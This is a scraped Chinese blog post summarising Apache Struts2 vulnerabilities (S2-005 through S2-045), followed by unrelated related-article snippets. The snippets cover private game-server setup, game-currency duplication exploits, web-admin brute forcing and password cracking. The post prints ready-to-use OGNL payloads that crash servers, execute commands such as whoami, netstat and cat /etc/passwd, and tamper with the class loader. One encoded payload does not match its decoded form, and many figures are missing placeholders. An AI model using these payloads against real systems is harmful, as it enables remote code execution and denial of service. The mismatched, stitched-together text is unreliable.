java struts2 漏洞_Struts2漏洞简述

article/2025/9/23 8:00:22

S2-005漏洞

S2-005是由于官方在修补S2-003不全面导致绕过补丁造成的。我们都知道访问Ognl的上下文对象必须要使用#符号,S2-003对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。

S2-005则是绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成漏洞。

Payload如下:

http://www.xxxx.com/aaa.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

提交上述URL,就会导致服务器down掉。把编码转换过来为下面三个步骤:

(1)?('#_memberAccess['allowStaticMethodAccess']')(meh)=true

(2)&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))

(3)&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1

第一步将_memberAccess变量中的allowStaticMethod设置为true,这里payload还要加括号,并且还带个"(meh)"呢?其实是为了遵守Ognl语法树的规则,这个后面再说。第一步完成后,就可以执行静态方法了。

第二步将上下文中的xwork.MethodAccessor.denyMethodExecution 设置为false,即允许方法的执行,这里的MehodAccessor是Struts2中规定方法/属性访问策略的类,也存在与Ognl的上下文中。同样遵守Ognl语法树规则。

第三步就是真正的攻击代码,前两步就是要保证第三步成功执行,第三步就是执行了关闭服务器的代码。但是要过调用Runtime类的静态方法获取一个Runtime对象。

S2-009漏洞

Struts2对s2-003的修复是禁止的#,因此s2-005正在使用该代码\u0023或\43绕过禁止; 然后禁止s2-005的修复\和其他阻止用户提交反斜杠的特殊符号。

但是,如果example在当前操作中接受参数,则此参数将发送到OGNL表达式。因此,我们可以将OGNL表达式代码放在example参数中然后执行它/helloword.acton?example=&(example)('xxx')=1,然后绕过特殊字符的防御,例如#,\。

S2-013漏洞

漏洞触发:

由于官方没有发补丁,所以最新版本的struts2还是有漏洞的,可以下载最新:Apache Struts 2.3.14 GA的示例应用。

经过简单测试,就看到了想要的结果。

根据官方给的信息,问题出在a标签,所以写个jsp页面,内容如下:

| 1 | Click here. |

这个是struts2标签库的a标签,该标签会在页面上显示当前URL,当includeParams=all时,就会显示具体参数内容。

唯一需要解的迷,就是如何让参数内容作为OGNL表示试执行,但是这个迷未免太好猜了,我随手测试就出结果。

访问url:

就可以直接弹计算器,POC代码大家都有的,我只截个图:

75d3896c9b5f

image.png

S2-016漏洞

分析开源框架的漏洞还是从其源码入手,问题出在了DefaultActiionMapper上,这个类主要是用来处理一些灵活的URL调用,比如处理Action中动态调用方法的形式,如:

http://www.foo.com/bar/hello.action?user!add

foo!bar这种形式是动态的调用action中的方法,其中foo是action,bar是方法名,但是调用的前提是在struts.xml中事先进行配置。

当然这只是一种,这个类还有个重要的作用就是处理redirect、redirectAction、method、action

Payload:

127.0.0.1:8080/struts_hello/hello?redirect:

${%23a%3dnew%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22netstat%22,%22-an%22}).start().getInputStream(),%23b%3dnew%20java.io.InputStreamReader(%23a),%23c%3dnew%20java.io.BufferedReader(%23b),%23d%3dnew%20char[51020],%23c.read(%23d),%23screen%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),%23screen.println(%23d),%23screen.close()}

S2-019漏洞

POC:

?debug=command&expression=%23a%3D%28new%20java.lang.ProcessBuilder%28%27whoami%27%29%29.start%28%29%2C%23b%3D%23a.getInputStream%28%29%2C%23c%3Dnew%20java.io.InputStreamReader%28%23b%29%2C%23d%3Dnew%20java.io.BufferedReader%28%23c%29%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read%28%23e%29%2C%23out%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23out.getWriter%28%29.println%28new%20java.lang.String%28%23e%29%29%2C%23out.getWriter%28%29.flush%28%29%2C%23out.getWriter%28%29.close%28%29%0A

从url编码转化回来为:

?debug=command&expression=#a=(new java.lang.ProcessBuilder('id')).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),#out.getWriter().println(new java.lang.String(#e)),#out.getWriter().flush(),#out.getWriter().close()

S2-020漏洞

绕过方式是:

http://localhost:8080/Struts2/test.action?class["classLoader"]["resources"]["dirContext"]["docBase"]=xxxxx

补充:

1、高版本号须要用单引號':

class['classLoader']['resources']['dirContext']['docBase']

2、请勿任意尝试,漏洞利用代码会让对方站点挂掉

S2-032漏洞

此次漏洞存在于struts2的动态方法引用功能。只要在struts2配置文件中开启该功能,就可能被利用。

75d3896c9b5f

image.png

在配置了 Struts2 DMI 为 True 的情况下,可以使用 method: Action 前缀去调用声明为 public 的函数,DMI 的相关使用方法可参考官方介绍(Dynamic Method Invocation),这个 DMI 的调用特性其实一直存在,只不过在低版本中 Strtus2 不会对 name 方法值做 OGNL 计算,而在高版本中会。所以只要找到目标应用中有效的 Action 例如 index.action,那么直接使用 DMI 在 method: 后面带上需要执行 OGNL 表达式即可。

比如这样的ognl 表达式: #_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,#f=@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]),#f.close&cmd=open /Applications/Calculator.app 通过反射调用(关于java的反射调用可以参考之前的一篇文章Link)Runtime类的exec方法进行命令执行,这里是打开计算器的操作。

S2-037漏洞

S2-037的漏洞利用思路建立在s2-033的基础只上,还是对method没有进行过滤导致的,漏洞影响Struts 2.3.20 – Struts 2.3.28.1版本,使用到REST插件的Struts2应用,会被攻击者实现远程代码执行攻击,struts2 历次的漏洞公告和详情官方都有专门的页面进行整理和汇总,可以从这个页面找到历次的struts2的漏洞。

2 struts2 s2-037漏洞详情分析

此次的s2-037是基于033的一个绕过,在033中,需要开启动态方法执行,也就是032的条件,同时还需要安装rest插件。而037中,不需要开启动态方法执行就能触发代码执行漏洞。

首先看看033触发过程

开启动态方法执行需要在struts.xml中配置,这和032没区别

75d3896c9b5f

image.png

在getMapping方法中,在处理动态代码执行过程中设置的属性没有做过滤

75d3896c9b5f

image.png

因为在uri中的!后面的属性加入到了mapping中,然后如果开启了动态代码执行,也就是allowDynamicMethodCalls开启,最后method会进入到com.opensymphony.xwork2.DefaultActionInvocation类的invokeAction方法,之后的就是跟032一样了,可以参考之前的我们分析struts2漏洞的文章。

接下来看看037怎么绕过开启动态方法,通杀所有rest插件的。

75d3896c9b5f

image.png

在调用完handleDynamicMethodInvocation(mapping, mapping.getName());后面又调用了

同时看到这里没有判断

所以这个地方不需要开启动态执行,同时也在这里给出了提示

75d3896c9b5f

image.png

这里加上了三目运算符才绕过测试结果如下:

75d3896c9b5f

image.png

可以看到成功执行了system命令。

Poc:

75d3896c9b5f

image.png

S2-045漏洞

漏洞分析

Apache Struts2存在远程代码执行漏洞,攻击者可以将恶意代码通过http报文头部的Content-Type字段传递给存在漏洞的服务器,导致任意代码执行漏洞。

漏洞POC

75d3896c9b5f

image.png

漏洞验证

75d3896c9b5f

image.png

细节分析

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn’t valid an exception is thrown which is then used to display an error message to a user.

从官方的漏洞描述我们可以知道,这个漏洞是由于Strus2对错误消息处理出现了问题,通过Content-Type这个header头,注入OGNL语言,进而执行命令。

本文的分析是基于Struts 2.3.24版本。首先看一下POC,攻击指令通过”Content-Type”传递给存在漏洞的服务器,如下图所示:

75d3896c9b5f

image.png

在传入的参数中,通过#nike=’multipart/form-data’语句使得后台判断语句content_type.contains(“multipart/form-data”)判断结果为true,以便攻击代码得以传入。同时将攻击代码’cat /etc/passwd’赋值给#cmd参数。接下来通过(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})来判断目标主机的操作系统类型,并选择性的进行指令赋值,最终,通过如下图代码,将攻击指令执行:

75d3896c9b5f

image.png

下面先看一下命令执行注入点:

75d3896c9b5f

image.png

在JakartaMultiPartRequest.java 的buildErrorMessage函数中,这个函数里的localizedTextUtil.findText会执行OGNL表达式,从而导致命令执行,我们先看下findtext的定义:

https://struts.apache.org/maven/struts2-core/apidocs/com/opensymphony/xwork2/util/LocalizedTextUtil.html

75d3896c9b5f

image.png

接下来它被JakartaMultiPartRequest.java中的parse调用。Struts2的入口FilterDispatcher.java接下来执行doFilter函数,执行完一些过滤后进入prepareDispatcherAndWrapRequest函数,再执行dispatcher.wrapRequest进入request处理分支,下图就是prepareDispatcherAndWrapRequest的实现,该函数对方法进行了处理:

75d3896c9b5f

image.png

接着我们看dispatcher.wrapRequest,当Content-Type为multipart/form-data的时候会调用MultiPartRequestWrapper,这个是一个对各种不同上传方式的封装,其中就包含Jakarta等传输方式:

75d3896c9b5f

image.png

MultiPartRequestWrapper.java封装了parse函数:

75d3896c9b5f

image.png

我们来看下parse函数,如下图所示:

75d3896c9b5f

image

在parse函数中,当Content-Type格式不被识别时,出现异常,导致OGNL表达式被执行,这就是我们分析的最初的注入点。


http://chatgpt.dhexx.cn/article/QV35jvL9.shtml

相关文章

【渗透测试】Struts2系列漏洞

目录 🌷S2-001 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法 🌷S2-005 🌼1、漏洞原理 🌼2、影响版本 🌼3、验证方法(无回显) 🌼4、验证方法&#x…

Struts2漏洞分析与复现合集

文章目录 一、基础知识Struts2简介: 二、漏洞复现1、S2-001(OGNL 循环解析导致的 RCE 漏洞)漏洞原理:影响版本:环境搭建:poc:漏洞利用: 2、S2-005(S2-003 的绕过&#xf…

框架/组件漏洞系列1:struts2漏洞汇总

前言: 本篇文章中复现的漏洞不是特别全面,但是挑选了最近两年的漏洞进行复现,旨在对漏洞进行有用复现,毕竟一些老漏洞已经基本不存在了。 一、Struts简介 1、简介 基本介绍: Struts是Apache软件基金会&#xff08…

struts2漏洞

文章目录 漏洞一、struts2漏洞 S2-001漏洞原理复现 二、struts2漏洞 S2-005原理 分析一下003复现 三、struts2漏洞s2-007四、struts2漏洞 S2-008原理复现 五、struts2漏洞 S2-009原理复现 六、struts2漏洞 S2-012原理复现 七、struts2漏洞 S2-013原理复现 八、struts2漏洞 S2-0…

传奇私服搭建+微端

微端服务器引擎 数据库 客户端 版本 本来想发网盘链接,文件涉及敏感无法分享,需要的可以私下给你发。 企鹅号:1404765471 首先准备 1.三台服务器(服务端服务器 微端服务器 列表服务器)推荐Windows2008系统 2.私服…

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少?

传奇开服怎么开服?不会技术自己能开服吗?传奇开服需要准备什么?前期需要投入多少? 作为经典怀旧游戏,传奇赢得了许多人的青睐,在这个科技的时代,玩服已经满足不了了,多数人会选择自己…

gm修改爆率需要重启服务器吗,传奇SF服务端上修改怪物爆率图文教程

修改怪物爆率基本上是每个版本在改的时候要走的一步,因为每个GM思路不同,想法不同,他给玩家展现出来的版本也不同,就是自己玩单机也要去改,谁不想爆率高点对吧,今天给大家讲解一下通过修改服务端的怪物爆率…

传奇私服游戏支付接口申请(已解决)

传奇游戏是一款经典打怪升级-PK游戏,盛大游戏公司于2001年9月发布,随后出现了众多传奇私服游戏版本。到现在依然受很多人喜爱,经历了多次升级换代,现已转变为游戏体验更加细腻的页游和手游,成为了小成本高收益的热门游…

传奇开服架设教程

传奇架设其实很简单 很多网友非常爱玩这款游戏,可能还有朋友不知道怎么架设这款游戏 今天特意写篇传奇架设教程,希望大家都能打造出真正属于自己的传奇 首先传奇架设需要准备以下几个软件 准备工具: 1、传奇服务端(版本&#…

传奇私服搭建网站的几种方法

搭建网站的几种方法: 一些人,连简单的搭建网站都不会,还要请技术帮忙,真是牛B,这里简单介绍下几种办法 一:2003系统下,直接使用IIS,这个太简单了,桌面上就有IIS&#xff…

传奇h5私服源码+教程

传奇h5私服源码教程 这几天突然想拿服务器做些什么,就想到搭一个私服游戏,学习娱乐一下。废话不多说下面给教程和源码。 传奇h5源码:https://download.csdn.net/download/qq_37258192/11997500 (重新上传了1次,积分变…

传奇私服服务器上怎么修改爆率,传奇私服怎么一次性调整爆率

满意答案 yhd514468637 推荐于 2017.10.03 怪物爆率文件在D:\Mirserver\Mir200\Envir\MonItems下面,一般默认的怪物爆率就已经非常不错,但根据服务器人数,有时候还是需要对爆率进行调整。 关于调整沃玛装备 沃玛装备为底级装备,控…

传奇架设-设置GM以及刷装备教程

传奇游戏虽然已经那么多年了,但是新手还是不断的在涌入进来,想学私服技术的也很多。 今天来说一下怎么设置GM,和怎么看命了吧!本来想做一个视频的,但是我觉得这个太过简单,图文还来的简单。 《第一章&…

传奇服中怎么刷装备

记得玩传奇的时候,最大的乐趣莫过于一起PK打装备,真的是让人激情四射了,想想都有点小激动呢,呵呵!但是等了做了GM以后,这点乐趣真的没有了,感觉打装备PK没有什么意思,倒是觉得刷装备…

传奇SF刷元宝之迷失版本刷叠加材料

传奇迷失版本刷材料漏洞教学 今天给大家带来传奇迷失版刷叠加材料,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加他们所谓的群啊之类的引流罢了, 今天我给大家一个…

传奇SF刷元宝之王者荣耀版本

王者荣耀版本刷元宝卡爆率保姆级教学 王者荣耀版本刷元宝卡爆率详细教学 今天给大家带来传奇王者荣耀版本刷元宝和卡爆率的教程,这个漏洞教学网上有人发过,不过很多人按照教程做了就是不触发。就是因为发布者去头掐尾的!最终目的就是让你们加…

网站管理后台帐号密码找回方法

站忘记密码怎么找回? 两个方法 方法一: 登录数据库,把password 下面的这一串加密串 解密一下。我至今没这样弄过,原理是这样,但是我没找到好用的md5 解密网站。一般的都要收费的。 方法二: 在数据库重置一个简单的密码&#x…

【Linux】网站后台设置及管理

文章目录 1. 进入网站后台选择管理,登陆2. 修改全局设置1) 站点信息修改2) 注册访问修改3) 内容设置3. 把网站添加到主网站上去总结1. 进入网站后台选择管理,登陆 从浏览器输入:bbs.zmkjedu.com

网站后台爆破工具:WebCrack

WebCrack简介 WebCrack是一款开源免费的web后台弱口令/万能密码批量爆破、检测工具。 不仅支持如discuz,织梦,phpmyadmin等主流CMS的后台爆破,并且对于绝大多数小众CMS甚至个人开发网站后台都有效果,只需在工具中导入后台地址即…

【Linux】kali破解密码

一、环境描述 Linux version 5.14.0-kali4-686-pae (develkali.org) (gcc-10 (Debian 10.3.0-12) 10.3.0, GNU ld (GNU Binutils for Debian) 2.37) #1 SMP Debian 5.14.16-1kali1 (2021-11-05) 二、操作步骤 (1)开进grub界面按e; &#…